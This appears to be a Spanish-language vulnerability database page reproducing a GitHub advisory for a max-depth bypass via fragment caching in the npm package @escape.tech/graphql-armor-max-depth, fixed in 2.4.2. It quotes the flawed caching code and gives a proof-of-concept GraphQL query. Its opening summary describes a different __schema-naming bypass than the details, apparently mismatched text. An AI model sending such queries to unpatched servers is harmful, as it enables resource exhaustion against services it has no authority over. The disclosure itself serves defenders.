Media

GraphQL Armor Max-Depth Plugin Bypass via fragment caching

  • Publicada: 26.08.2025
  • Actualizado: 11.10.2026 10:22

Summary

A query depth restriction using the max-depth can be bypassed if ignoreIntrospection is enabled (which is the default configuration) by naming your query/fragment __schema.

Details

In the countDepth function, we have the following code that calculates the depth of a used fragment:

ts
    } else if (node.kind == Kind.FRAGMENT_SPREAD) {
      if (this.visitedFragments.has(node.name.value)) {
        return this.visitedFragments.get(node.name.value) ?? 0;
      } else {
        this.visitedFragments.set(node.name.value, -1);
      }
      const fragment = this.context.getFragment(node.name.value);
      if (fragment) {
        let fragmentDepth;
        if (this.config.flattenFragments) {
          fragmentDepth = this.countDepth(fragment, parentDepth);
        } else {
          fragmentDepth = this.countDepth(fragment, parentDepth + 1);
        }
        depth = Math.max(depth, fragmentDepth);
        if (this.visitedFragments.get(node.name.value) === -1) {
          this.visitedFragments.set(node.name.value, fragmentDepth);
        }
      }
    }

which will calculate the depth of the fragment used in the current node, store the value in this.visitedFragments and re-use it in the future to avoid re-calculating the depth for the same fragment.

The issue arises when the same fragment is used multiple times, at different depths. The current caching takes into account the depth of the first occurrence, which means if the fragment is re-used later in a higher depth, this cached value is not updated.

So, for example, sending the following query with a max depth of 6:

graphql
query {
  books {
    author {
      ...Test
    }
  }
  books {
    author {
      books {
        author {
          ...Test
        }
      }
    }
  }
}
fragment Test on Author {
  books {
    title
  }
}

The first use of Test fragment does not exceed the defined limit, and this depth will be cached.

In the second use, the fragment is reused in a greater depth, but the countDepth function will still use the depth cached, without accounting for the increased depth.

PoC

Max depth: 6

graphql
query {
  books {
    author {
      ...Test
    }
  }
  books {
    author {
      books {
        author {
          ...Test
        }
      }
    }
  }
}
fragment Test on Author {
  books {
    title
  }
}

Impact

This issue affects applications using the GraphQL Armor Depth Limit plugin.

Fix

This is fixed in PR#824. We now store only the additional depth contributed by the fragment and add it to the parent depth where the fragment is used (parentDepth).

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @escape.tech/graphql-armor-max-depth < 2.4.2 2.4.2

Referencias

Puntuación CVSS 5.3/10
Vector CVSS
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Debilidad (CWE)
CWE-400
Plataforma
npm
Paquete
@escape.tech/graphql-armor-max-depth
Publicada
26.08.2025
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-224p-v68g-5g8f - CC BY 4.0

Historial de vulnerabilidades: @escape.tech/graphql-armor-max-depth

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
2
Primera → última
08.2025 08.2025
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Media 2

Divulgaciones por año

  1. 2025: 2
  2. 2026: 0
  1. GraphQL Armor Max-Depth Plugin Bypass via fragment caching esta entrada
    Media · 5.3 ghsa-224p-v68g-5g8f < 2.4.2 2.4.2
  2. Media · 5.3 ghsa-hmfr-rx46-4jx2 < 2.4.2 2.4.2

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.